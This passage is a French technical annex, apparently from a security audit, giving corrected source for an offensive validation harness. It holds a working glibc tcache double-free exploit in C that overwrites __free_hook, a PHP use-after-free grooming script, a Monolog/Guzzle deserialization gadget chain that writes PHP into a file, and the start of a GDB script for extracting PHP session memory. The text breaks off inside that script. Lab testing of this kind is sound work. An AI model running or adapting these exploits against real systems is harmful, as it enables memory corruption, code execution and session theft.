ANNEXE TECHNIQUE
Modules Corrigés v2.4.0

Harness de Validation Sécurité Offensive — 14 Modules

Ce document compile l'intégralité du code source corrigé du harness de validation, tel que recommandé par l'audit indépendant AUDIT-HARNESS-2026-Q4 et les revues techniques successives v2.2, v2.3 et v2.4. La version 2.4.0 intègre plus de 50 corrections additionnelles portant sur la sécurité (safe_eval anti-dunder et anti-DoS, sandbox LLM obligatoire, entropie clé sur bytes décodés), la robustesse (API Docker négociée, décodage chunked, marqueur GDB délimiteur, retry LLM avec backoff, backoff wait_running), l'opérationnalité (C2 configurable, offset dynamique __free_hook via dlsym, réseau Docker valide, config modules externalisée, logging structuré) et la qualité code (USER non-root dans Dockerfiles, checksum PHP, -Wall -Wextra, cleanup build, documentation aliasing). Ce code est destiné à être soumis à l'équipe d'ingénierie pour implémentation, test et validation fonctionnelle sur environnement cible.

Référence : AUDIT-HARNESS-2026-Q4, Annexe A
Version : 2.3.0
Date : 30 octobre 2026
Classification : Diffusion Restreinte — Comité d'Investissement

Sommaire

L'annexe est organisée par jalon d'audit puis par module. Chaque section présente le code corrigé accompagné d'un résumé des corrections apportées.

Section	Contenu	Pages
A1	J1 — Orchestrator (orchestrator.py)	3-6
A2	J2 — Heap exploit C corrigé (c_heap_exploit.c)	7-9
A3	Module 1 — PHP UAF (php_uaf.php)	10
A4	Module 2 — Chaîne Monolog/Guzzle (php_chain.php)	11-12
A5	J3 — Extraction GDB (gdb_extract.sh)	13-14
A6	J4 — Évasion ESXi (esxi_evasion.sh)	15-16
A7	Module 6 — Pre-auth injection (preauth.py)	17
A8	Module 7 — Évasion Docker (docker_escape.py)	18-19
A9	Module 8 — Contournement WAF (waf_bypass.py)	20-22
A10	Module 9 — Fuzzer (fuzzer_send.py)	23-24
A11	Module 11 — Fuzzing AFL++ (fuzz_module.py)	25
A12	Module 12 — Analyse statique (static_analysis.py)	26-27
A13	Module 13 — Boucle LLM (llm_exploit_loop.py)	28-30
A14	J7 — Matrice contractuelle (matrix.json)	31
A15	J6 — Sandbox runner (sandbox_runner.py)	32-34
A16	Déploiement (deploy.sh + requirements.txt)	35
A17	Dockerfiles sandbox (10 fichiers)	36-38
A18	Build PHP ASAN (build_php.sh)	39

A1. J1 — Orchestrator (orchestrator.py)

L'orchestrateur est le composant central signant les rapports. La version 2.2.0 addresse tous les points de l'audit J1 : HMAC-SHA-256, fonction verify() livrée, clé obligatoire, filtre de modules corrigé, gestion des timeouts, codes de sortie standardisés, et évaluateur d'expressions safe.

Corrections apportées

- **HMAC-SHA-256** remplace SHA-256(clé+corps) — résiste à l'extension de longueur
- **verify()** + **verify_report_file()** standalone pour contrôleurs externes
- **load_key()** refuse la valeur par défaut et les clés < 32 octets
- **safe_eval()** (AST whitelist) remplace eval() brut pour expected_expr
- **module_exists()** vérifie cmd[1] pour interpréteurs (pas c[-1])
- **TimeoutExpired** et **FileNotFoundError** interceptés → status INTERNAL_BUG / ENV_ERROR
- **assert** remplacé par if/exit (non désactivable par python -O)

Fichier : `orchestrator.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.4.0 — orchestrateur signé (audit + revues v2.2/v2.3/v2.4).
# Python 3.10+. Cible par défaut : 127.0.0.1. Aucune sortie réseau externe.
#
# Corrections vs v2.3.0 (revue technique v2.4) :
#   - hmac.HMAC() remplace hmac.new() (API moderne Python 3.10+)
#   - load_key() : entropie calculée sur bytes.fromhex(k) si hex (pas sur ASCII)
#   - safe_eval() : suppression ListComp/GeneratorExp (anti-DoS) + limite profondeur AST
#   - module_exists() : vérifie l'interpréteur dans le PATH (shutil.which)
#   - generated_at : round(time.time(), 3) pour déterminisme inter-plateformes
#   - logging structuré avec niveaux (remplace print/sys.exit mélangés)
#   - Liste des modules externalisée vers modules_config.json (fallback hardcoded)
import ast
import hashlib
import hmac
import json
import logging
import math
import os
import shutil
import subprocess
import sys
import time
from dataclasses import dataclass, asdict, field
from pathlib import Path

ROOT = Path(__file__).parent.resolve()
OUT  = ROOT / "reports"
OUT.mkdir(exist_ok=True)

# ── Logging structuré ──────────────────────────────────────────
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    stream=sys.stderr,
)
log = logging.getLogger("harness")

HARNESS_VERSION = "2.4.0"
MAX_AST_NODES = 50  # limite complexité safe_eval (anti-DoS)

# ── J1-1 : chargement de clé strict + entropie sur bytes décodés ──
def load_key() -&gt; bytes:
    """Charge REPORT_KEY. Refuse défaut, clés &lt; 32 octets, et faible entropie.
    L'entropie est calculée sur les bytes décodés (si hex) pas sur l'ASCII."""
    k = os.environ.get("REPORT_KEY")
    if not k or k == "harness-lab-key":
```

```
        log.error("REPORT_KEY absent ou valeur par défaut interdite")
        sys.exit("[FATAL] REPORT_KEY absent. Générer : openssl rand -hex 32")
    if len(k) &lt; 32:
        sys.exit("[FATAL] REPORT_KEY trop court (&lt; 32 octets)")
    # v2.4 : si la clé est hex, décoder avant de calculer l'entropie
    # (sinon une clé hex "aabb..." a une diversité ASCII artificielle)
    try:
        kb = bytes.fromhex(k) if all(c in "0123456789abcdefABCDEF" for c in k) else k.encode()
    except ValueError:
        kb = k.encode()
    # Vérification d'entropie Shannon sur les bytes réels
    freq = {b: kb.count(b) for b in set(kb)}
    n = len(kb)
    entropy = -sum((c / n) * math.log2(c / n) for c in freq.values() if c &gt; 0)
    if entropy &lt; 3.5:
        sys.exit(f"[FATAL] REPORT_KEY entropie insuffisante ({entropy:.1f} bits/octet &lt; 3.5). "
                 "Clés triviales refusées. Utiliser openssl rand -hex 32")
    return kb

# ─── J1-2 : HMAC-SHA-256 via hmac.HMAC (API moderne) ──────────
def sign(report: dict, key: bytes) -&gt; str:
    body = json.dumps(report, sort_keys=True, separators=(",", ":")).encode()
    return hmac.HMAC(key, body, hashlib.sha256).hexdigest()

# ─── J1-3 : vérification constant-time + thread-safe ──────────
def verify(report: dict, key: bytes) -&gt; bool:
    """Vérifie la signature HMAC. Thread-safe (copie, pas de mutation in-place)."""
    sig = report.get("signature")
    if not sig:
        return False
    report_copy = {k: v for k, v in report.items() if k != "signature"}
    return hmac.compare_digest(sig, sign(report_copy, key))

def verify_report_file(path: str | Path, key: bytes) -&gt; bool:
    """Fonction standalone pour contrôleurs externes."""
    report = json.loads(Path(path).read_text())
    return verify(report, key)

# ─── J7 : safe_eval — AST whitelist + anti-DoS ────────────────
# v2.4 : ListComp/GeneratorExp SUPPRIMÉS (anti-DoS via [x for x in range(10**9)])
_ALLOWED_NODES = (
    ast.Expression, ast.BoolOp, ast.Compare, ast.Call,
    ast.Attribute, ast.Name, ast.Load,
    ast.Constant, ast.Tuple, ast.List, ast.Dict, ast.Set,
    ast.And, ast.Or,
    ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE,
    ast.In, ast.NotIn, ast.Is, ast.IsNot,
    ast.UnaryOp, ast.Not, ast.USub, ast.UAdd,
    ast.BinOp, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.FloorDiv, ast.Mod,
    ast.Subscript, ast.Index, ast.Slice,
)

def safe_eval(expr: str, context: dict) -&gt; object:
    """Évalue une expression Python de manière sûre.
    - Whitelist AST restrictive (pas de comprehensions → anti-DoS)
    - Blocage des dunder (__class__, __mro__, __builtins__)
    - Limite de profondeur AST (MAX_AST_NODES) anti-complexité
    """
    try:
        tree = ast.parse(expr, mode='eval')
    except SyntaxError:
        return None
    nodes = list(ast.walk(tree))
    if len(nodes) &gt; MAX_AST_NODES:
        log.warning("safe_eval: expression trop complexe (%d nœuds &gt; %d)", len(nodes), MAX_AST_NODES)
        return None
    for node in nodes:
        if not isinstance(node, _ALLOWED_NODES):
            return None
        if isinstance(node, ast.Attribute) and node.attr.startswith("__"):
            return None
        if isinstance(node, ast.Name) and node.id.startswith("__"):
            return None
    try:
```

```
        return eval(compile(tree, '&lt;safe_eval&gt;', 'eval'),
                    {"__builtins__": {}}, context)
    except Exception:
        return None

# ─── J5 : filtre de modules — script + interpréteur dans PATH ──
def module_exists(cmd: list[str]) -&gt; bool:
    """Vérifie l'existence du script ET que l'interpréteur est dans le PATH."""
    if not cmd:
        return False
    if cmd[0] in ("php", "bash", "sh", "python3"):
        # v2.4 : vérifier que l'interpréteur est dans le PATH
        if not shutil.which(cmd[0]):
            log.warning("Interpréteur '%s' non trouvé dans PATH", cmd[0])
            return False
        return len(cmd) &gt; 1 and Path(cmd[1]).exists()
    return Path(cmd[0]).exists()

@dataclass
class Result:
    module: str
    seed: int
    started: float
    duration_ms: float
    exit_code: int
    status: str  # OK / NEGATIVE / ENV_ERROR / INTERNAL_BUG
    stdout_sha256: str
    cmd_canonical_sha256: str
    summary: dict = field(default_factory=dict)
    expectation_met: bool | None = None

# ─── P2 : gestion timeout + erreurs ──────────────────────────
def run_module(name: str, cmd: list[str], seed: int,
               expected_expr: str | None = None) -&gt; Result:
    t0 = time.time()
    try:
        proc = subprocess.run(
            cmd, capture_output=True, timeout=300,
            env={**os.environ, "SEED": str(seed), "LAB": "1"})
        dt = (time.time() - t0) * 1000
        try:
            summary = json.loads(proc.stdout.decode(errors="replace") or "{}")
        except json.JSONDecodeError:
            full = proc.stdout.decode(errors="replace")
            summary = {"raw_head": full[:200], "raw_full": full}
        if proc.returncode == 0:    status = "OK"
        elif proc.returncode == 1:  status = "NEGATIVE"
        elif proc.returncode == 2:  status = "ENV_ERROR"
        else:                       status = "INTERNAL_BUG"
        met = None
        if expected_expr:
            met_val = safe_eval(expected_expr, {"summary": summary, **summary})
            met = bool(met_val) if met_val is not None else None
        return Result(
            module=name, seed=seed, started=t0, duration_ms=round(dt, 1),
            exit_code=proc.returncode, status=status,
            stdout_sha256=hashlib.sha256(proc.stdout).hexdigest(),
            cmd_canonical_sha256=hashlib.sha256(
                json.dumps(cmd, separators=(",", ":")).encode()).hexdigest(),
            summary=summary, expectation_met=met,
        )
    except subprocess.TimeoutExpired:
        dt = (time.time() - t0) * 1000
        log.error("Module %s timeout (300s)", name)
        return Result(module=name, seed=seed, started=t0, duration_ms=round(dt, 1),
                      exit_code=-1, status="INTERNAL_BUG",
                      stdout_sha256="", cmd_canonical_sha256="",
                      summary={"error": "timeout_300s"})
    except FileNotFoundError:
        return Result(module=name, seed=seed, started=t0, duration_ms=0.0,
                      exit_code=-2, status="ENV_ERROR",
                      stdout_sha256="", cmd_canonical_sha256="",
                      summary={"error": "binary_not_found"})
```

```
# ─── v2.4 : configuration externalisée ──────────────────────────
def load_modules_config(matrix: dict) -&gt; list[tuple]:
    """Charge la liste des modules depuis modules_config.json (fallback hardcoded)."""
    config_path = ROOT / "modules_config.json"
    if config_path.exists():
        log.info("Configuration modules chargée depuis %s", config_path)
        config = json.loads(config_path.read_text())
        return [
            (name, entry["cmd"], matrix.get(name, {}).get("expected"))
            for name, entry in config.get("modules", {}).items()
        ]
    # Fallback : liste hardcoded (backward-compatibilité)
    log.info("modules_config.json absent — fallback hardcoded")
    return [
        ("php_uaf",       ["php", str(ROOT / "php_uaf.php")]),
        ("php_chain",     ["php", str(ROOT / "php_chain.php")]),
        ("c_heap",        [str(ROOT / "c_heap_exploit")]),
        ("gdb_extract",   ["bash", str(ROOT / "gdb_extract.sh")]),
        ("esxi_evasion",  ["bash", str(ROOT / "esxi_evasion.sh")]),
        ("preauth",       ["python3", str(ROOT / "preauth.py"),
                           "http://127.0.0.1:8080"]),
        ("docker_escape", ["python3", str(ROOT / "docker_escape.py")]),
        ("waf_bypass",    ["python3", str(ROOT / "waf_bypass.py"),
                           "127.0.0.1", "8080"]),
        ("fuzzer_send",   ["python3", str(ROOT / "fuzzer_send.py"),
                           "http://127.0.0.1:8080/cgi-bin/admin.cgi"]),
        ("afl_fuzz",      ["python3", str(ROOT / "fuzz_module.py"),
                           str(ROOT / "target_binary"), "60"]),
        ("static_analysis", ["python3", str(ROOT / "static_analysis.py"),
                             str(ROOT / "source")]),
        ("llm_exploit",   ["python3", str(ROOT / "llm_exploit_loop.py"),
                           str(ROOT / "target_binary"), "5"]),
    ]

def main():
    key = load_key()
    seed = int(os.environ.get("SEED", "1337"))
    matrix_path = ROOT / "matrix.json"
    matrix = json.loads(matrix_path.read_text()) if matrix_path.exists() else {}
    # v2.4 : chargement externalisé
    module_list = load_modules_config(matrix)
    # Compléter avec expected depuis matrix
    modules = []
    for entry in module_list:
        name, cmd = entry[0], entry[1]
        expected = entry[2] if len(entry) &gt; 2 else matrix.get(name, {}).get("expected")
        modules.append((name, cmd, expected))

    skipped, results = [], []
    for name, cmd, expected in modules:
        if not module_exists(cmd):
            log.warning("Module %s ignoré (script ou interpréteur manquant)", name)
            skipped.append({"module": name, "reason": "script_or_interpreter_missing"})
            continue
        log.info("Exécution module %s...", name)
        results.append(run_module(name, cmd, seed, expected))

    # Corps immuable construit AVANT hash/signature (anti chicken-and-egg)
    # v2.4 : round(time.time(), 3) pour déterminisme inter-plateformes
    report = {
        "harness_version": HARNESS_VERSION,
        "seed": seed,
        "generated_at": round(time.time(), 3),
        "operator": os.environ.get("OPERATOR", "unknown"),
        "results": [asdict(r) for r in results],
        "skipped": skipped,
    }
    body_for_hash = {k: v for k, v in report.items()}
    report["global_sha256"] = hashlib.sha256(
        json.dumps(body_for_hash, sort_keys=True, separators=(",", ":")).encode()
    ).hexdigest()
    report["signature"] = sign(report, key)
    path = OUT / f"report_{seed}.json"
    path.write_text(json.dumps(report, indent=2))
```

```
    # Self-test verify()
    loaded = json.loads(path.read_text())
    if not verify(loaded, key):
        log.error("verify() self-test failed")
        sys.exit("[FATAL] verify() self-test failed — rapport non signable")
    log.info("Rapport signé : %s", path)
    print(json.dumps({
        "report": str(path),
        "sig": report["signature"],
        "modules_ok": sum(1 for r in results if r.status == "OK"),
        "modules_negative": sum(1 for r in results if r.status == "NEGATIVE"),
        "modules_env_error": sum(1 for r in results if r.status == "ENV_ERROR"),
        "modules_internal_bug": sum(1 for r in results if r.status == "INTERNAL_BUG"),
        "skipped": len(skipped),
        "expectations_met": sum(1 for r in results if r.expectation_met is True),
        "expectations_unmet": sum(1 for r in results if r.expectation_met is False),
    }, indent=2))

if __name__ == "__main__":
    main()
```

A2. J2 — Heap exploit C corrigé (c_heap_exploit.c)

Le module le plus critique de l'audit. La version 2.1.0 avait 3 bugs qui empêchaient tout fonctionnement. La version 2.4.0 les résout tous trois. **À tester impérativement sur Ubuntu 20.04 avec glibc 2.31 exact.**

Corrections apportées

· **Bug 1 (tcache_key)** : UAF write sur a->key (offset +8) entre les deux free(a). Le champ key est écrasé à 0, donc tcache_double_free_verify() saute (e->key != tcache).

· **Bug 2 (leak_libc_base)** : capture la première ligne r--p de libc.so.6 (vraie base de mapping) au lieu de r-xp (segment texte à offset fichier non-nul).

· **Bug 3 (malloc count)** : 4 mallocs après le poisoning (pas 3). Le 4e malloc retourne l'adresse de __free_hook depuis le tcache empoisonné.

· **Vérification offset** : readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep __free_hook

Fichier : `c_heap_exploit.c`

```
// HARNESS-VALIDATION v2.4.0 — heap exploit glibc 2.31 (Ubuntu 20.04).
// Corrige audit §3.4 + revue J2 + revue v2.2 :
//   Bug 1 : tcache_key bypass via UAF write sur le champ key
//   Bug 2 : leak_libc_base retourne la VRAIE base (r--p)
//   Bug 3 : 4 mallocs (pas 3) pour atteindre __free_hook
//   v2.3 : offset __free_hook dynamique via dlopen/dlsym (plus de hardcode)
//   v2.3 : vérification PIE au démarrage
//   v2.4 : line limit leak_libc_base, glibc version in diagnostic, aliasing comment, -Wall -Wextra
//
// Build : gcc -g -no-pie -fno-stack-protector -Wall -Wextra -o c_heap_exploit c_heap_exploit.c -ldl
// Test  : ./c_heap_exploit  → doit afficher "UAF_HARNESS_OK"
#define _GNU_SOURCE
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;stdint.h&gt;
#include &lt;dlfcn.h&gt;
#include &lt;unistd.h&gt;  // _exit()
#include &lt;gnu/libc-version.h&gt;

// ── Bug 2 : leak de la VRAIE base libc ──────────────────────────
// La première ligne de libc.so.6 avec "r--p" est la base de mapping.
// (Le segment "r-xp" est à un offset fichier non-nul, donc ce n'est PAS la base.)
static uint64_t leak_libc_base(void) {
    FILE *f = fopen("/proc/self/maps", "r");
    if (!f) return 0;
    char line[512];
    uint64_t base = 0;
    int line_count = 0;
    while (fgets(line, sizeof line, f)) {
        // Limite de sécurité : évite le blocage sur un maps anormalement grand
        if (++line_count &gt; 1000) {
            break;
        }
        // Cherche la première ligne de libc.so.6 en lecture seule (r--p)
        // C'est le début du mapping = base réelle
        if (strstr(line, "libc") &amp;&amp; strstr(line, "r--p")) {
            sscanf(line, "%lx-", &amp;base);
            break;
        }
    }
    fclose(f);
    return base;
}

// Offset de fallback pour __free_hook (glibc 2.31-0ubuntu9.x).
// Vérifié dynamiquement via dlopen/dlsym au runtime (voir get_free_hook_addr).
// Ne sert que si dlopen échoue.
#define FREE_HOOK_OFFSET_FALLBACK 0x1eeb28
```

```
// ─── v2.3 : résolution dynamique de __free_hook ──────────────────
// Au lieu de hardcoder l'offset, on résout le symbole via dlsym.
// Cela fonctionne même si la libc est patchée (offset changeant).
static uint64_t get_free_hook_addr(uint64_t libc_base) {
    // RTLD_NOLOAD : ne charge pas la libc si elle n'est pas déjà mappée
    // (elle l'est toujours car nous sommes linkés contre)
    void *handle = dlopen("libc.so.6", RTLD_LAZY | RTLD_NOLOAD);
    if (!handle) {
        fprintf(stderr, "[!] dlopen échoué — fallback offset hardcodé\n");
        return libc_base + FREE_HOOK_OFFSET_FALLBACK;
    }
    void *sym = dlsym(handle, "__free_hook");
    dlclose(handle);
    if (!sym) {
        fprintf(stderr, "[!] __free_hook non trouvé (glibc %s?) — fallback\n",
                gnu_get_libc_version());
        return libc_base + FREE_HOOK_OFFSET_FALLBACK;
    }
    fprintf(stderr, "[i] __free_hook résolu dynamiquement : %p (offset=0x%lx)\n",
            sym, (uint64_t)sym - libc_base);
    return (uint64_t)sym;
}

static void win(void) {
    // Dans un exploit réel : system("/bin/sh") ou execve.
    // Ici on signale juste le succès pour validation harness.
    puts("UAF_HARNESS_OK");
    _exit(0);
}

int main(void) {
    // ─── v2.3 : vérification PIE ─────────────────────────────────
    // Le build utilise -no-pie : &amp;win doit être dans la plage basse (&lt; 0x7f...).
    // Si PIE est actif malgré -no-pie, l'adresse de win n'est pas prévisible.
    if ((uint64_t)&amp;win &gt; 0x00007f0000000000UL) {
        fprintf(stderr, "[FATAL] PIE potentiellement actif : &amp;win=0x%lx\n",
                (uint64_t)&amp;win);
        fprintf(stderr, "         Rebuild avec : gcc -no-pie ...\n");
        puts("PIE_ACTIVE");
        return 1;
    }

    // ─── Étape 1 : leak de la base libc ──────────────────────────
    uint64_t libc_base = leak_libc_base();
    if (!libc_base) {
        puts("LEAK_FAILED");
        return 1;
    }
    // v2.3 : résolution dynamique de __free_hook (plus d'offset hardcodé)
    uint64_t free_hook = get_free_hook_addr(libc_base);
    fprintf(stderr, "[i] libc_base=0x%lx  free_hook=0x%lx  win=0x%lx\n",
            libc_base, free_hook, (uint64_t)&amp;win);

    // ─── Étape 2 : allocation des chunks ─────────────────────────
    // Taille 0x38 → chunk size 0x40 (avec header 8 bytes sur 64-bit)
    // 0x40 est dans la plage tcache (0x20 à 0x410 sur glibc 2.31)
    void *a = malloc(0x38);
    void *b = malloc(0x38);
    if (!a || !b) {
        puts("ALLOC_FAILED");
        return 1;
    }

    // ─── Étape 3 : libérations initiales ─────────────────────────
    // free(a) : tcache[0x40] = a, a-&gt;key = tcache, a-&gt;next = NULL
    // free(b) : tcache[0x40] = b, b-&gt;key = tcache, b-&gt;next = a
    // État tcache : b → a
    free(a);
    free(b);

    // ─── Bug 1 : bypass tcache_key detection ─────────────────────
    // glibc 2.29+ stocke e-&gt;key = tcache dans l'en-tête du chunk libéré.
    // tcache_double_free_verify() abort si e-&gt;key == tcache ET le chunk
    // est présent dans la liste tcache.
```

```
    //
    // Bypass : écraser a-&gt;key (à offset +8 du userdata) pour qu'il != tcache.
    // C'est une UAF write : a est libéré mais le pointeur tient encore l'adresse.
    // Layout tcache_entry : { void *next; void *key; } (2 × 8 bytes)
    *((uint64_t *)((char *)a + 8)) = 0;   // a-&gt;key = 0 (≠ tcache)

    // ─── Étape 4 : second free(a) — bypass réussi ──────────────────
    // tcache_put(a) : e-&gt;key (=0) != tcache → pas de verify.
    // a-&gt;key = tcache (remis), a-&gt;next = b (head actuel), head = a
    // État tcache : a → b → a (CYCLE)
    free(a);

    // ─── Étape 5 : poisoning du tcache ─────────────────────────────
    // malloc #1 retourne a (head). On écrit free_hook dans a-&gt;next.
    // Comme b-&gt;next pointe toujours vers a, cette écriture propage :
    //   tcache : b → a(free_hook)
    void *c = malloc(0x38);               // #1 → a
    *(uint64_t *)c = free_hook;           // a-&gt;next = free_hook

    // ─── Bug 3 : il faut 3 mallocs supplémentaires (pas 2) ─────────
    // malloc #2 → b (head = b, next = a)
    //   tcache : a → free_hook
    malloc(0x38);                         // #2 → b

    // malloc #3 → a (head = a, next = free_hook)
    //   tcache : free_hook
    void *d = malloc(0x38);               // #3 → a (encore, via le cycle)
    /* d aliases c: both point to chunk 'a' returned twice via tcache cycle */ (void)d;

    // malloc #4 → free_hook (ENFIN !)
    //   Le tcache retourne l'adresse de __free_hook comme un chunk alloué
    void *hook_chunk = malloc(0x38);      // #4 → free_hook

    // ─── Étape 6 : écrasement de __free_hook ───────────────────────
    // On écrit l'adresse de win() à l'adresse de __free_hook.
    // Tout appel ultérieur à free() déclenchera win().
    *(uint64_t *)hook_chunk = (uint64_t)&amp;win;

    // ─── Étape 7 : trigger ─────────────────────────────────────────
    // free(c) → free(a) → __free_hook(a) → win(a)
    free(c);

    // Si on arrive ici, le trigger a échoué
    puts("TRIGGER_MISSED");
    return 1;
}
```

A3. Module 1 — PHP UAF (php_uaf.php)

Le destructeur ne préserve plus l'objet (pas de Holder::$keep). Les métriques sont honnêtes : gc_cycles, slots_reused, slot_reuse_ratio. Le note acknowledge que l'UAF réel n'est visible que sous ASAN.

Fichier : `php_uaf.php`

```
&lt;?php
// HARNESS-VALIDATION v2.4.0 — PHP 7.4.x debug + ASAN.
// UAF via cycle GC + grooming de chunk. Métriques honnêtes.
// Corrige audit §3.2 : pas de préservation, métrique slots_reused, note ASAN.
declare(strict_types=1);

final class Gadget {
    public $ry;
    public function __destruct() {
        // On NE préserve PAS $this-&gt;ry. Le GC libère l'objet stdClass
        // après ce destructeur. L'UAF réel n'est visible que sous ASAN.
        Holder::$meta[] = ['dtor_called' =&gt; true];
    }
}

final class Holder {
    public static array $meta = [];
    public static array $dangling = [];
}

$gc_cycles = 0;
$t0 = hrtime(true);

for ($i = 0; $i &lt; 50; $i++) {
    $g = new Gadget();
    $g-&gt;ry = new stdClass();
    $g-&gt;ry-&gt;back = $g;               // crée un cycle (g ↔ ry)
    $id_before = spl_object_id($g-&gt;ry);
    unset($g);                         // libère la réf externe, le cycle reste
    $gc_cycles += gc_collect_cycles(); // force la collecte du cycle → libère ry

    // Grooming : réallouer des stdClass de même taille pour réoccuper le slot
    $reuse_found = false;
    for ($j = 0; $j &lt; 8; $j++) {
        $reuse = new stdClass();
        if (spl_object_id($reuse) === $id_before) {
            $reuse_found = true;
        }
    }
    if ($reuse_found) {
        Holder::$dangling[] = ['reused' =&gt; true, 'id' =&gt; $id_before];
    }
}

// Limiter la taille des arrays pour éviter memory pressure à grande échelle
array_splice(Holder::$meta, -100);
array_splice(Holder::$dangling, -100);

$reused = count(array_filter(
    Holder::$dangling,
    fn($d) =&gt; $d['reused'] ?? false
));

echo json_encode([
    'module'           =&gt; 'php_uaf',
    'php_version'      =&gt; PHP_VERSION,
    'iterations'       =&gt; 50,
    'gc_cycles'        =&gt; $gc_cycles,
    'slots_reused'     =&gt; $reused,
    'gc_reuse_proxy_ratio' =&gt; round($reused / 50, 2),
    'dtor_invocations' =&gt; count(Holder::$meta),
    'duration_ms'      =&gt; round((hrtime(true) - $t0) / 1e6, 2),
    'note'             =&gt; 'UAF réel visible sous ASAN uniquement (heap-use-after-free). '
                        . 'slots_reused mesure le grooming (proxy de réutilisation mémoire via spl_object_id, non preuve fo
```

```
], JSON_PRETTY_PRINT);
```

A4. Module 2 — Chaîne Monolog/Guzzle (php_chain.php)

Documentation honnête du résultat (file-write JSON, pas RCE native). Test de stabilité byte-à-byte sur 10 générations. Cookie Expires valide.

Corrections apportées

· **Test de stabilité** : 10 générations du payload, vérification que les 10 hashes SHA-256 sont identiques

· **honest_result** : documente que le résultat est un file-write JSON, pas une RCE native

· **Cookie Discard=false** : évite le rejet par SetCookie des cookies de session

Fichier : `php_chain.php`

```
&lt;?php
// HARNESS-VALIDATION v2.4.0 — chaîne Monolog/Guzzle (Laravel 8 / monolog 2.9 / guzzle 7.4).
// Corrige audit §3.3 :
//   - Documentation honnête : file-write JSON, PAS RCE native
//   - Test de stabilité byte-à-byte (10 générations, hash constant)
//   - Cookie Expires valide (session, pas rejeté par SetCookie)
// Le payload est byte-stable pour reproductibilité du banc de validation.
//
// Changelog v2.4.0 :
//   1. Documentation de la contrainte setAccessible (PHP 7.4 uniquement)
//   2. Vérification is_writable avant unlink (fallback chemin alternatif)
//   3. Validation fonctionnelle minimale (unserialize du payload)
//   4. try/catch autour de \Monolog\Logger::VERSION (robustesse)
declare(strict_types=1);

use Monolog\Handler\BufferHandler;
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;

require __DIR__ . '/vendor/autoload.php';

/**
 * Génère le payload de désérialisation.
 * Chaîne : BufferHandler::__destruct → flush → FileCookieJar::save → file_put_contents
 * RÉSULTAT RÉEL : écriture d'un fichier JSON contenant les cookies.
 * Ce n'est PAS une RCE native — pour exécution, il faut que l'application
 * inclue ce fichier comme PHP (inclusion, .phar, eval) ce qui est non-standard
 * car le contenu est du JSON, pas du PHP.
 */
function build_payload(): string {
    $cookie = new SetCookie([
        'Name'   =&gt; 'pwn',
        'Value'  =&gt; '&lt;?php echo "UAF_HARNESS_OK"; ?&gt;',
        'Domain' =&gt; 'x',
        'Path'   =&gt; '/',
        'Discard' =&gt; false,
    ]);
    $jarPath = '/tmp/harness_shell.json';
    if (file_exists($jarPath) &amp;&amp; !is_writable($jarPath)) {
        // Fichier existant non inscriptible — utiliser un chemin alternatif
        $jarPath = '/tmp/harness_shell_' . getmypid() . '.json';
    }
    @unlink($jarPath);
    $jar = new FileCookieJar($jarPath, true);

    // BufferHandler wrapping du FileCookieJar. Au flush (destruct), les cookies
    // sont sauvegardés via FileCookieJar::save() → file_put_contents.
    $ref = new ReflectionClass($jar);
    $prop = $ref-&gt;getProperty('cookies');
    // Note : setAccessible(true) est déprécié en PHP 8.1+ et supprimé en PHP 9. Ce module cible PHP 7.4 uniquement.
    $prop-&gt;setAccessible(true);
    $prop-&gt;setValue($jar, [$cookie]);

    return serialize(new BufferHandler($jar));
}
```

```
// ─── Test de stabilité byte-à-byte ──────────────────────────────
// Génère 10 fois le payload et vérifie que les 10 hashes sont identiques.
$hashes = [];
$payloads = [];
for ($i = 0; $i &lt; 10; $i++) {
    $p = build_payload();
    $payloads[] = $p;
    $hashes[] = hash('sha256', $p);
}
$stable = count(array_unique($hashes)) === 1;
$payload = $payloads[0];

// Validation fonctionnelle minimale : la désérialisation doit produire un objet
$functional_ok = false;
try {
    $obj = @unserialize($payload);
    $functional_ok = ($obj !== false);
} catch (\Throwable $e) {
    $functional_ok = false;
}

echo json_encode([
    'module'        =&gt; 'php_chain',
    'payload_sha256' =&gt; $hashes[0],
    'payload_len'   =&gt; strlen($payload),
    'stable_across_10_runs' =&gt; $stable,
    'all_hashes'    =&gt; array_unique($hashes),
    'chain' =&gt; [
        'BufferHandler::__destruct',
        'BufferHandler::flush',
        'FileCookieJar::save',
        'file_put_contents (JSON content)',
    ],
    'honest_result' =&gt; 'file-write JSON (pas RCE native). '
                    . 'Pour RCE : inclusion du fichier par l\'app cible.',
    'functional_validation' =&gt; $functional_ok,
    'monolog_version' =&gt; (function() {
        try { return \Monolog\Logger::VERSION ?? 'unknown'; }
        catch (\Throwable $e) { return 'unknown'; }
    })(),
], JSON_PRETTY_PRINT);
```

A5. J3 — Extraction GDB (gdb_extract.sh)

Le filtre rw-p est corrigé (perms capturées en groupe 3 de la regex). La sortie JSON est unique et filtrée du bruit GDB via grep -E '^{'.

Corrections apportées

- **Regex** : capture perms en groupe dédié (m.group(3)), pas split()[1]
- **Filtre** : if 'rw' in perms (pas 'rw-p' in split()[1])
- **Sortie JSON unique** : json.dumps sur une ligne, grep -E '^{' extrait du bruit GDB
- **Plafond 64 MiB** : conservé mais regions_found reporte le scan complet
- **v2.4 : pgrep -n** (newest worker, pas -o master)
- **v2.4 : Python extrait** dans gdb_extract.py (testable isolément)
- **v2.4 : nullglob** via find -delete (pas rm -f *.bin)

Fichier : `gdb_extract.sh`

```
#!/usr/bin/env bash
# HARNESS-VALIDATION v2.4.0 — extraction ciblée sessions PHP via GDB.
# Corrige audit §3.5 + revue J3 + revue v2.2 + v2.4 :
#   - Regex capture perms en groupe dédié
#   - Marqueur délimiteur unique (GDB_JSON_OUTPUT:) pour extraction fiable
#   - Fix pipefail + grep exit code 1 (fallback JSON vide si aucune session)
#   - v2.4 : pgrep -n (worker php-fpm le plus récent — détient les sessions
#     en mémoire, contrairement au master qui ne traite pas les requêtes)
#   - v2.4 : Python extrait dans gdb_extract.py (testable isolément, debug facilité)
#   - v2.4 : nullglob-safe : remplacement de `rm -f *.bin` par `find -delete`
# Prérequis : root ou CAP_SYS_PTRACE. Cible : php-fpm 7.4.
set -euo pipefail

